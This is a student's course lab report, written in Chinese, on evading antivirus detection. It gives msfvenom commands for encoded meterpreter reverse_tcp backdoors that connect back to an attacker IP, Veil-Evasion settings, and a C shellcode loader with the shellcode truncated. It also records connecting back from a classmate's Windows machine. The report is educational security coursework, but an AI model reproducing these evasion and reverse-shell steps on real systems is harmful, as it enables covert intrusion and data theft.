20155205 郝博雅 Exp3 免杀原理与实践

一、基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 答:++基于特征码的检测++<简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码>。++启发式恶意软件检测++,就是根据些片面特征去推断。++基于行为的恶意软件检测++,这个也很容易理解,就是根据程序有什么行为来判断他是好是坏。

(2)免杀是做什么?

  • 答:木马或恶意程序、软件避免被杀毒软件或管理员发现并删除。

(3)免杀的基本方法有哪些?

  • 答:1、修改特征码。2、加壳<可以用一些比较生僻的壳对木马文件进行保护,阻止外部程序或软件对加壳程序的反汇编分析或者动态分析>。3、伪装,防止被行为查杀。

二、实验内容

1.使用msf生成后门程序的检测

  • 将上次实验生成的后门程序放到virscan

  • 咦?为啥说有广告,只能改个名啦

  • 我们可以看到扫描的结果:

  • 利用msfvenom对后门进行编码处理,比如10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.206.132 LPORT=5205 -f exe > 5205-encode10.exe
  • 会不会好一点呢?我们来看一下

  • 这说明编译的次数是不会改变他被杀的事实的。。。
  • 把他传到windows里直接被查杀。

2.使用veil-evasion生成后门程序的检测

  • 进入veil

  • 输入下面的指令设置veil
use evasion
use python/meterpreter/rev_tcp.py
set LHOST 192.168.206.132
set LPORT 5205
  • 输入generate生成payload,名字设为payload5205.

  • 使用老师给的方法会出错,无法生成后门文件,在veil中使用list查看可以use啥,看到了这个7,我们重新做一遍上面的设置。

  • 重新的步骤为:
use evasion
use 7
set LHOST 192.168.206.132
set LPORT 5205
  • 可以看到成功啦

  • 找到他,然后放到virscan上扫描一下,发现比msf编译过的强多了!

  • 传到windows里后double kill

3.利用shellcode编写后门程序的检测

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.132 LPORT=443 -f c生成shellcode

  • 将上述数组加上主函数生成5205.c文件,之后用命令i686-w64-mingw32-g++ 5205.c -o 5205.exe将.c文件转换为可执行文件5205.exe

  • 扫描一下下发现居然不如veil生成的。。。

  • 传到Windows下,日常被杀。。。

4.Linux平台交叉编译Windows应用

#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h> //192.168.6.129 443 reverse_tcp
const char met[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"此处省去若干行"
"\x53\xff\xd5"; int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met; __asm;
{
call addr;
}
return 0;
}

5.实现免杀后回连

  • 输入下面的指令生成后门,攻击20155218徐志瀚同学的windows
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai x86/bloxer -i 10 LHOST=192.168.206.132 LPORT=5205 -f c
  • 可以实现回连,成功窥探他的小秘密

三、实验体会

  • 没有想到自己的电脑是这么这么的弱,而且发现攻击安全意识不强的人的电脑十分容易!虽然做实验的时候电脑卡的不要不要的,成功改了程序免杀还是很开心。

20155205 郝博雅 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

随机推荐

  1. linux下压力测试工具ab的使用

    一.安装 [root@node2 logs]# yum install httpd-tools 已加载插件:fastestmirror Loading mirror speeds from cache ...

  2. 3D Math Keynote 3

    [3D Math Keynote 3] 1.球的表面积 Surface.球的体积 Volumn: 2.当物体旋转后,如果通过变换后的旧AABB来顶点来计算新的AABB顶点,则生成的新AABB可能比实际 ...

  3. Spring 配置 定时任务

    官档地址:https://docs.spring.io/spring/docs/5.1.4.RELEASE/spring-framework-reference/integration.html#sc ...

  4. 解决mysql设置时区时的错误Unknown or incorrect time zone: 'Asia/Shanghai'

    Mysql默认时区格式是'+8:00'的格式,这个时区可以在my.ini中[mysqld]节点下设置 default-time-zone = '+8:00' 默认这个设置是没有的 但是mysql不支持 ...

  5. Linux下使用ps命令查看某个进程文件的启动位置

    ps -ef|grep shutdown ls -al /proc/4170

  6. 优化Android Studio/Gradle构建(转)

    参考:http://hm.itheima.com/thread-204217-1-1.html

  7. 通信导论-IP数据网络基础(1)

    TCP/IP封装过程: 端口号:服务器一般都是通过知名端口号(1~1023)来识别应用程序,(TCP)21.23.25,(UDP)53.69.161 TCP报文格式: 字节号:TCP把连接中发送的所有 ...

  8. (一)java基础

    注:本栏均为学习笔记 一.java标识符 标识符是用来命名的. 规则:字母数字下划线$组成,且不能以数字开头.不能使用java中的关键字. 一般:项目名.包名全部小写 变量名.方法名首字母小写,驼峰命 ...

  9. MySQL增删改查常用语句命令

    增删改查语句增删改查的语句命令为 增:insert删:delete改:update查:SELECT或者show 库操作创建数据库:create database shujukuba;创建带字符集的数据 ...

  10. 【转载】SQL Server中的Merge关键字

    简介 原文地址 Merge关键字是一个神奇的DML关键字.它在SQL Server 2008被引入,它能将Insert,Update,Delete简单的并为一句.MSDN对于Merge的解释非常的短小 ...